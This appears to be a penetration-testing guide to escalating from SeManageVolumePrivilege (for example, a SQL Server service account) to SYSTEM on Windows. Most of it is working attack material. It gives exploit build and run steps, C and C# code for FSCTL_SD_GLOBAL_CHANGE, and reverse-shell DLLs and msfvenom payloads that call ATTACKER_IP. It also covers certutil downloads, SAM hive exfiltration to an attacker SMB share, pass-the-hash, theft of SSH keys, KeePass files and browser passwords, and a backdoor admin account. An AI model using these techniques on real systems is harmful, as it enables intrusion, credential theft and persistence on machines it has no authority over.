Skip to main content

Overview

SeManageVolumePrivilege allows a process to perform volume maintenance tasks — defragmentation, disk quotas, and filesystem-level operations. The critical capability from an attacker’s perspective: it grants the ability to call FSCTL_SD_GLOBAL_CHANGE on a volume, which can replace security descriptors globally across the entire filesystem. This effectively gives full read/write access to every file on the volume, including C:\Windows\System32. The privilege itself does not grant direct file access. The exploitation is a two-step process: first use the volume management capability to weaken ACLs on the entire disk, then exploit the resulting unrestricted filesystem access.

Who Has It by Default

PrincipalContext
BUILTIN\AdministratorsEnabled in elevated sessions
NT AUTHORITY\SYSTEMAlways
Service accounts running disk/storage management toolsIf explicitly assigned via GPO
SQL Server service accountsCommonly assigned for Instant File Initialization
SQL Server is the most common non-admin context where this privilege appears. The “Perform volume maintenance tasks” user right is routinely granted to SQL Server service accounts for database Instant File Initialization (IFI), which avoids zeroing out newly allocated database files.

Check if Enabled

whoami /priv
Filter for it directly:
whoami /priv | findstr /i "SeManageVolumePrivilege"
Expected output when exploitable:
SeManageVolumePrivilege       Perform volume maintenance tasks  Enabled
If the privilege shows as Disabled, it can still be enabled programmatically in the current token using AdjustTokenPrivileges. The privilege only needs to be present in the token — the Enabled/Disabled state is a soft toggle that any code in your process can flip.

How It Works Technically

The privilege gates access to the FSCTL_SD_GLOBAL_CHANGE filesystem control code. This FSCTL instructs the NTFS driver to perform a find-and-replace operation on security descriptors across the entire volume. It was designed for domain migration scenarios where SIDs need to be remapped across all files on a disk. The API call chain:
1. Open a handle to the volume (\\.\C:) with MANAGE_VOLUME_ACCESS
2. Call NtFsControlFile / DeviceIoControl with FSCTL_SD_GLOBAL_CHANGE
3. Provide an SD_GLOBAL_CHANGE_INPUT structure that specifies:
   - The old security descriptor (or partial SD) to find
   - The new security descriptor to replace it with
4. NTFS walks the entire MFT and replaces matching SDs
The FSCTL_SD_GLOBAL_CHANGE control code value is 0x000900B0. The kernel checks for SeManageVolumePrivilege when the caller attempts to open the volume handle with MANAGE_VOLUME_ACCESS (also called FILE_READ_DATA on the volume device). If the privilege is present, the handle is granted and the FSCTL succeeds. In practical exploitation, the public tool SeManageVolumeExploit uses this mechanism to replace restrictive SDs with permissive ones, granting the current user Full Control over the entire C:\ drive.

Why This Is Dangerous

Unlike SeBackupPrivilege (read-only bypass) or SeRestorePrivilege (write-only bypass), SeManageVolumePrivilege gives a path to both read and write on every file on the volume — after a single FSCTL call. There is no need to open each file with special flags. Once the SDs are changed, standard copy, type, icacls, and every other file operation works normally with full access.

SeManageVolumeExploit Tool

The public exploit tool automates the FSCTL_SD_GLOBAL_CHANGE abuse. Repository: https://github.com/CsEnox/SeManageVolumeExploit

What It Does

  1. Opens a handle to \\.\C: with volume management access
  2. Calls NtFsControlFile with FSCTL_SD_GLOBAL_CHANGE
  3. Replaces the default NTFS security descriptors with ones granting the current user Full Control
  4. After execution, the current user can read and write any file on C:\

Build

:: Clone and build with Visual Studio
git clone https://github.com/CsEnox/SeManageVolumeExploit.git
cd SeManageVolumeExploit
:: Open .sln in Visual Studio and build Release x64
Or compile with Developer Command Prompt:
cl.exe /EHsc SeManageVolumeExploit.cpp /link /out:SeManageVolumeExploit.exe

Usage

SeManageVolumeExploit.exe
No arguments needed. The tool targets C:\ by default. Expected output:
[*] Opened \\.\C: with MANAGE_VOLUME_ACCESS
[*] Sending FSCTL_SD_GLOBAL_CHANGE...
[+] Success! Full access granted on C:\

Verify Access

After running the exploit, confirm you now have full access:
icacls C:\Windows\System32\config\SAM
You should see your user with (F) Full Control.
type C:\Windows\System32\config\SAM
If this returns content (or at least does not say “Access denied”), the exploit worked.
echo test > C:\Windows\System32\test.txt
del C:\Windows\System32\test.txt
The FSCTL_SD_GLOBAL_CHANGE operation modifies security descriptors on every file on the volume. This is noisy and destructive to the filesystem’s security posture. In a real engagement, plan your post-exploitation steps before running it, execute quickly, and clean up. There is no built-in undo — restoring original SDs requires a backup of the original $Secure stream or a system restore.

After Exploit: DLL Hijacking via IKEEXT Service (wlbsctrl.dll)

The most reliable post-exploitation path. The IKEEXT (IKE and AuthIP IPsec Keying Modules) service runs as NT AUTHORITY\SYSTEM and attempts to load wlbsctrl.dll from C:\Windows\System32 — but the DLL does not exist by default. After running SeManageVolumeExploit, you can write to System32.

Step 1 — Verify IKEEXT Exists and Its Start Type

sc qc IKEEXT
Look for:
SERVICE_START_NAME : LocalSystem
START_TYPE         : 3  DEMAND_START (or 2 AUTO_START)

Step 2 — Confirm wlbsctrl.dll Is Missing

dir C:\Windows\System32\wlbsctrl.dll
Expected: File Not Found.

Step 3 — Generate Malicious DLL

On your attacker machine:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o wlbsctrl.dll
Or a minimal DLL that spawns a reverse shell via C:
// wlbsctrl.c — compile: x86_64-w64-mingw32-gcc wlbsctrl.c -shared -o wlbsctrl.dll
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKER_IP 4444");
    }
    return TRUE;
}
Cross-compile from Linux:
x86_64-w64-mingw32-gcc wlbsctrl.c -shared -o wlbsctrl.dll

Step 4 — Transfer and Plant the DLL

:: Transfer via SMB, HTTP, certutil, etc.
certutil -urlcache -f http://ATTACKER_IP/wlbsctrl.dll C:\Windows\Temp\wlbsctrl.dll

:: Copy to System32 (possible after SeManageVolumeExploit)
copy C:\Windows\Temp\wlbsctrl.dll C:\Windows\System32\wlbsctrl.dll

Step 5 — Start Listener

nc -lvnp 4444

Step 6 — Trigger IKEEXT

sc stop IKEEXT
sc start IKEEXT
If you cannot restart IKEEXT (insufficient service control privileges), trigger it by initiating an IPsec connection or wait for a reboot:
:: Force IPsec negotiation to trigger IKEEXT
netsh ipsec static add policy name=test
netsh ipsec static add filterlist name=test
netsh ipsec static add filter filterlist=test srcaddr=any dstaddr=any protocol=any
netsh ipsec static add filteraction name=test action=negotiate
netsh ipsec static add rule name=test policy=test filterlist=test filteraction=test
netsh ipsec static set policy name=test assign=y

Step 7 — Receive SYSTEM Shell

nc -lvnp 4444
# Connection received
# whoami → nt authority\system

After Exploit: DLL Hijacking via Other Services

IKEEXT is not the only service that loads missing DLLs. Several other SYSTEM services have known missing DLL loads.

SessionEnv — TSMSISrv.dll

The Remote Desktop Configuration service (SessionEnv) attempts to load TSMSISrv.dll from System32.
sc qc SessionEnv
Confirm LocalSystem and check if the DLL is missing:
dir C:\Windows\System32\TSMSISrv.dll
Plant:
copy C:\Windows\Temp\evil.dll C:\Windows\System32\TSMSISrv.dll
sc stop SessionEnv
sc start SessionEnv

NetMan — wlanhlp.dll

The Network Connections service (NetMan) attempts to load wlanhlp.dll:
sc qc NetMan
dir C:\Windows\System32\wlanhlp.dll
Plant:
copy C:\Windows\Temp\evil.dll C:\Windows\System32\wlanhlp.dll
sc stop NetMan
sc start NetMan

Finding More Missing DLLs with Procmon

Use Process Monitor on a lab system with matching OS version:
Filter 1: Result → is → NAME NOT FOUND
Filter 2: Path   → ends with → .dll
Filter 3: Process Name → is → svchost.exe
Any DLL load that fails with NAME NOT FOUND from a SYSTEM service in C:\Windows\System32 is a candidate.

Additional Known Targets

ServiceMissing DLLRuns AsNotes
IKEEXTwlbsctrl.dllSYSTEMMost reliable, documented everywhere
SessionEnvTSMSISrv.dllSYSTEMRequires RDP role/feature
NetManwlanhlp.dllSYSTEMRequires WLAN not installed
MSDTCoci.dllNETWORK SERVICENot SYSTEM but useful for lateral
SpoolerVariousSYSTEMDepends on installed print drivers
Missing DLL targets vary by Windows version and installed roles/features. Always verify on the target system before assuming a DLL is missing. A DLL that is missing on Server Core may exist on a full Desktop Experience install.

After Exploit: Overwrite Service Binaries

With full write access to C:\, replace the executable that a SYSTEM service runs.

Find SYSTEM Services

wmic service where "StartName='LocalSystem'" get Name,PathName,StartMode
Get-CimInstance Win32_Service | Where-Object { $_.StartName -match 'LocalSystem' } |
    Select Name, PathName, StartMode, State | Format-Table -AutoSize

Replace the Binary

:: Backup original
copy "C:\Program Files\TargetApp\service.exe" "C:\Program Files\TargetApp\service.exe.bak"

:: Replace with payload
copy C:\Windows\Temp\shell.exe "C:\Program Files\TargetApp\service.exe" /Y
Generate the payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

Restart the Service

sc stop TargetService
sc start TargetService

Target Services with Auto-Restart on Failure

If you cannot directly start/stop services, find ones with recovery actions set:
sc qfailure TargetService
Look for RESTART -- Delay = ... in output. Replace the binary, then crash the service — it restarts automatically with your payload.

After Exploit: Read SAM/SYSTEM Directly

With full filesystem access, dump local credential hives without needing SeBackupPrivilege.

Save Registry Hives

reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY

Transfer to Attacker

# Start SMB server on attacker
impacket-smbserver share . -smb2support
:: From target
copy C:\Temp\SAM \\ATTACKER_IP\share\
copy C:\Temp\SYSTEM \\ATTACKER_IP\share\
copy C:\Temp\SECURITY \\ATTACKER_IP\share\

Extract Hashes

impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Include LSA secrets and cached domain credentials:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Pass the Hash

# psexec
impacket-psexec Administrator@TARGET -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# evil-winrm
evil-winrm -i TARGET -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

Direct File Access (Alternative)

After the exploit, you can also read the raw hive files via Volume Shadow Copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

After Exploit: Read Sensitive Files

Full filesystem access means every file on C:\ is readable. Target high-value files.

SSH Private Keys

dir /s /b C:\Users\*.id_rsa C:\Users\*.id_ed25519 2>nul
copy C:\Users\Administrator\.ssh\id_rsa C:\Temp\
copy C:\Users\Administrator\.ssh\id_ed25519 C:\Temp\
copy C:\ProgramData\ssh\ssh_host_rsa_key C:\Temp\

KeePass Databases

dir /s /b C:\Users\*.kdbx 2>nul
copy C:\Users\Administrator\Documents\Database.kdbx C:\Temp\

PowerShell History (All Users)

for /d %u in (C:\Users\*) do @if exist "%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" copy "%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" C:\Temp\pshist_%~nu.txt

Web Application Configs

:: IIS
type C:\inetpub\wwwroot\web.config
type C:\Windows\System32\inetsrv\config\applicationHost.config

:: Common connection strings
findstr /si "password" C:\inetpub\wwwroot\*.config
findstr /si "connectionString" C:\inetpub\wwwroot\*.config

Unattend / Sysprep Files (Plaintext Credentials)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\System32\Sysprep\unattend.xml

Windows Credential Manager

dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\*
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\*

Browser Data

:: Chrome saved passwords
copy "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\Temp\

:: Firefox profiles
dir /s /b C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\logins.json

Wi-Fi Profiles

netsh wlan export profile key=clear folder=C:\Temp\

After Exploit: Plant DLL in System32 or WinSxS

Beyond targeting specific service DLLs, you can plant DLLs in locations that affect a broad range of processes.

System32 DLL Planting

Any DLL placed in C:\Windows\System32 takes priority in the Windows DLL search order for most processes (unless SafeDllSearchMode is modified or the application uses absolute paths).
:: Plant a DLL that many applications load
copy C:\Windows\Temp\evil.dll C:\Windows\System32\version.dll
Common DLL names that many executables import:
DLL NameLoaded ByNotes
version.dllMany applicationsVersion info API
userenv.dllServices loading user profilesProfile management
dbghelp.dllDebugging/crash dump toolsOften loaded from CWD first
dwmapi.dllGUI applicationsDesktop Window Manager API
uxtheme.dllGUI applicationsTheme rendering
Replacing real system DLLs in System32 will crash the system. Only plant DLLs with names that do not already exist in System32, or use DLL proxying (forward all exports to the real DLL while executing your payload).

WinSxS Directory

The WinSxS (Windows Side-by-Side) directory stores versioned copies of system DLLs. Applications that reference specific assembly versions load from WinSxS. With write access:
:: List WinSxS directories for a target DLL
dir /s /b C:\Windows\WinSxS\*comctl32* 2>nul
Replacing a DLL in WinSxS requires matching the exact version directory name. This is version-specific and less reliable than System32 planting but evades some monitoring that focuses on System32.

DLL Proxying for Stealth

To avoid breaking functionality when planting in System32, use DLL proxying. Your malicious DLL exports the same functions as the real DLL but forwards them:
// proxy.c — forward all exports to real DLL, execute payload on attach
// Compile: x86_64-w64-mingw32-gcc proxy.c -shared -o wlbsctrl.dll
#pragma comment(linker, "/export:RealFunction=C:\\Windows\\System32\\real_wlbsctrl.RealFunction")

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Payload here
        WinExec("cmd.exe /c C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKER_IP 4444", 0);
    }
    return TRUE;
}
Use SharpDllProxy or DLLirant to automate proxy DLL generation.

Alternative Exploitation: Manual FSCTL Approach

If you cannot use the public SeManageVolumeExploit binary (AV blocks it, cannot transfer it, etc.), implement the FSCTL call directly.

PowerShell — NtFsControlFile via P/Invoke

$code = @'
using System;
using System.Runtime.InteropServices;

public class ManageVolume
{
    [DllImport("ntdll.dll")]
    public static extern uint NtFsControlFile(
        IntPtr FileHandle,
        IntPtr Event,
        IntPtr ApcRoutine,
        IntPtr ApcContext,
        out IO_STATUS_BLOCK IoStatusBlock,
        uint FsControlCode,
        IntPtr InputBuffer,
        uint InputBufferLength,
        IntPtr OutputBuffer,
        uint OutputBufferLength
    );

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile
    );

    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr hObject);

    [StructLayout(LayoutKind.Sequential)]
    public struct IO_STATUS_BLOCK
    {
        public uint Status;
        public IntPtr Information;
    }

    // FSCTL_SD_GLOBAL_CHANGE = 0x000900B0
    // FILE_READ_DATA on volume = MANAGE_VOLUME_ACCESS
    public const uint FSCTL_SD_GLOBAL_CHANGE = 0x000900B0;
    public const uint FILE_READ_DATA = 0x0001;
    public const uint FILE_SHARE_READ = 0x0001;
    public const uint FILE_SHARE_WRITE = 0x0002;
    public const uint OPEN_EXISTING = 3;
}
'@

Add-Type -TypeDefinition $code
The SD_GLOBAL_CHANGE_INPUT structure requires building the old and new security descriptors in binary form. This is non-trivial in PowerShell — the public tool handles the structure construction. For a manual approach, it is more practical to write a minimal C/C++ program:

C Implementation — Minimal

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// FSCTL_SD_GLOBAL_CHANGE = CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_BUFFERED, FILE_READ_DATA)
#define FSCTL_SD_GLOBAL_CHANGE 0x000900B0

typedef struct _SD_GLOBAL_CHANGE_INPUT {
    ULONG Flags;        // SD_GLOBAL_CHANGE_TYPE_ENUM_SDS = 0x00010000
    ULONG ChangeType;
    union {
        // ... varies by ChangeType
        struct {
            ULONG OldSdLength;
            ULONG NewSdLength;
            // Followed by old SD bytes then new SD bytes
        } SdChange;
    };
} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT;

int main() {
    // Open volume handle
    HANDLE hVolume = CreateFileW(
        L"\\\\.\\C:",
        FILE_READ_DATA,              // MANAGE_VOLUME_ACCESS
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    if (hVolume == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open volume: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Volume handle obtained\n");

    // Build SD_GLOBAL_CHANGE_INPUT with old/new security descriptors
    // The old SD targets the default restrictive SD on System32 files
    // The new SD grants Everyone Full Control

    // ... construct input buffer with proper SD binary format ...

    DWORD bytesReturned;
    BYTE outputBuffer[4096];

    BOOL result = DeviceIoControl(
        hVolume,
        FSCTL_SD_GLOBAL_CHANGE,
        inputBuffer,        // your constructed SD_GLOBAL_CHANGE_INPUT
        inputBufferSize,
        outputBuffer,
        sizeof(outputBuffer),
        &bytesReturned,
        NULL
    );

    if (result) {
        printf("[+] FSCTL_SD_GLOBAL_CHANGE succeeded\n");
    } else {
        printf("[-] Failed: %d\n", GetLastError());
    }

    CloseHandle(hVolume);
    return 0;
}
Cross-compile:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lntdll
The full implementation requires constructing valid SECURITY_DESCRIPTOR structures in their self-relative binary format. The SeManageVolumeExploit source code on GitHub is the best reference for the exact buffer layout. The manual approach is primarily useful when you need to modify the tool to target a specific volume or SD pattern.

C# Implementation

For execution via PowerShell Add-Type or as a standalone .NET assembly:
using System;
using System.Runtime.InteropServices;

class ManageVolumeExploit
{
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess,
        uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
        uint dwFlagsAndAttributes, IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode,
        byte[] lpInBuffer, uint nInBufferSize, byte[] lpOutBuffer,
        uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped);

    [DllImport("kernel32.dll")]
    static extern bool CloseHandle(IntPtr hObject);

    const uint FSCTL_SD_GLOBAL_CHANGE = 0x000900B0;
    const uint FILE_READ_DATA = 0x0001;
    const uint FILE_SHARE_RW = 0x0003;
    const uint OPEN_EXISTING = 3;

    static void Main()
    {
        IntPtr hVol = CreateFile("\\\\.\\C:", FILE_READ_DATA, FILE_SHARE_RW,
            IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);

        if (hVol == (IntPtr)(-1))
        {
            Console.WriteLine("[-] Cannot open volume: " + Marshal.GetLastWin32Error());
            return;
        }

        Console.WriteLine("[+] Volume handle obtained");

        // Construct SD_GLOBAL_CHANGE_INPUT buffer here
        // Reference: SeManageVolumeExploit source for exact SD layout
        byte[] input = BuildInputBuffer();
        byte[] output = new byte[4096];
        uint returned;

        bool ok = DeviceIoControl(hVol, FSCTL_SD_GLOBAL_CHANGE,
            input, (uint)input.Length, output, (uint)output.Length,
            out returned, IntPtr.Zero);

        Console.WriteLine(ok ? "[+] Success" : "[-] Failed: " + Marshal.GetLastWin32Error());
        CloseHandle(hVol);
    }

    static byte[] BuildInputBuffer()
    {
        // Build the SD_GLOBAL_CHANGE_INPUT structure
        // with old restrictive SD and new permissive SD
        // See SeManageVolumeExploit source for the exact binary layout
        throw new NotImplementedException("Build from SeManageVolumeExploit source");
    }
}
Compile:
csc.exe /unsafe /out:exploit.exe exploit.cs

Combine with Service Restart or Reboot

After gaining full filesystem access via SeManageVolumeExploit, most exploitation paths (DLL hijacking, binary replacement) require a service restart or system reboot to trigger the payload.

If You Can Restart Services

:: Check if you can control services
sc stop IKEEXT
sc start IKEEXT
Most exploited accounts with SeManageVolumePrivilege (e.g., SQL Server service accounts) do not have sc control over arbitrary services. Check what you can control:
:: List services you can start/stop
accesschk.exe -uwcqv "YourUsername" * /accepteula
Get-Service | ForEach-Object {
    $acl = sc.exe sdshow $_.Name 2>$null
    if ($acl -match 'RP|WP|DT') { $_.Name }
}

If You Cannot Restart Services

Wait for reboot — plant the DLL and wait. Auto-start services load DLLs at boot.
:: Check if IKEEXT is set to auto-start
sc qc IKEEXT | findstr START_TYPE
If DEMAND_START, the service only starts when triggered. Consider other auto-start services with missing DLLs, or use one of these triggers: Trigger IKEEXT without sc:
:: Initiate a VPN or IPsec connection attempt (triggers IKEEXT)
rasdial DummyVPN 2>nul
Force a scheduled reboot (if you have permissions):
shutdown /r /t 300 /c "Windows Update" /f
Plant in a scheduled task output path:
:: Find scheduled tasks with writable paths
schtasks /query /fo LIST /v | findstr /i "Task To Run"

Post-Reboot Persistence

After gaining SYSTEM via DLL hijack, establish a more reliable persistence mechanism:
:: Create a new admin user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add

:: Or add an SSH key
mkdir C:\Users\Administrator\.ssh 2>nul
echo ssh-ed25519 AAAA...your_key attacker@kali > C:\Users\Administrator\.ssh\authorized_keys

Full Chain Walkthrough: SeManageVolumePrivilege to SYSTEM

End-to-end example from a SQL Server service account shell.

1. Confirm the Privilege

whoami
:: corp\sqlsvc

whoami /priv | findstr /i "SeManageVolumePrivilege"
:: SeManageVolumePrivilege       Perform volume maintenance tasks  Enabled

2. Run the Exploit

:: Transfer SeManageVolumeExploit.exe to target
certutil -urlcache -f http://ATTACKER_IP/SeManageVolumeExploit.exe C:\Windows\Temp\sme.exe

:: Execute
C:\Windows\Temp\sme.exe

3. Verify Full Access

icacls C:\Windows\System32\wlbsctrl.dll 2>nul || echo DLL does not exist — good
echo test > C:\Windows\System32\test_write.txt && del C:\Windows\System32\test_write.txt && echo [+] Write access confirmed

4. Plant wlbsctrl.dll

:: Transfer malicious DLL
certutil -urlcache -f http://ATTACKER_IP/wlbsctrl.dll C:\Windows\Temp\wlbsctrl.dll

:: Copy to System32
copy C:\Windows\Temp\wlbsctrl.dll C:\Windows\System32\wlbsctrl.dll

5. Trigger IKEEXT

sc stop IKEEXT 2>nul
sc start IKEEXT
If sc start fails with Access Denied, trigger it indirectly:
:: Trigger via IPsec policy
netsh ipsec static add policy name=trigger
netsh ipsec static add filterlist name=trigger
netsh ipsec static add filter filterlist=trigger srcaddr=any dstaddr=any protocol=any
netsh ipsec static add filteraction name=trigger action=negotiate
netsh ipsec static add rule name=trigger policy=trigger filterlist=trigger filteraction=trigger
netsh ipsec static set policy name=trigger assign=y

6. Catch SYSTEM Shell

On attacker:
nc -lvnp 4444
Connection from TARGET:49152
Microsoft Windows [Version 10.0.17763.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\System32> whoami
nt authority\system

7. Clean Up

:: Remove planted DLL
del C:\Windows\System32\wlbsctrl.dll

:: Remove IPsec policy if created
netsh ipsec static delete policy name=trigger

:: Remove transferred files
del C:\Windows\Temp\sme.exe
del C:\Windows\Temp\wlbsctrl.dll

Quick Reference

TechniqueAfter SeManageVolumeExploitResultTrigger Required
DLL hijack — IKEEXT (wlbsctrl.dll)Write DLL to System32SYSTEM shellService start or IPsec trigger
DLL hijack — SessionEnv (TSMSISrv.dll)Write DLL to System32SYSTEM shellService restart
DLL hijack — NetMan (wlanhlp.dll)Write DLL to System32SYSTEM shellService restart
Overwrite service binaryReplace .exe in Program FilesSYSTEM shellService restart
Dump SAM/SYSTEMreg save hivesLocal admin hashesNone
Read sensitive filestype / copy any fileSSH keys, KeePass, configsNone
Plant DLL in System32Write DLL with common nameCode execution per processProcess launch
Plant DLL in WinSxSWrite DLL in versioned dirCode execution per processProcess launch
Replace accessibility binaryOverwrite utilman.exe / sethc.exeSYSTEM at lock screenLock screen + click
ToolPurpose
SeManageVolumeExploitAutomates FSCTL_SD_GLOBAL_CHANGE to grant full C:\ access
msfvenomGenerate DLL/EXE payloads
impacket-secretsdumpExtract hashes from SAM/SYSTEM hives
impacket-psexec / evil-winrmPass the hash for remote access
Process MonitorDiscover missing DLL loads on target OS version
SharpDllProxyGenerate proxy DLLs for stealthy hijacking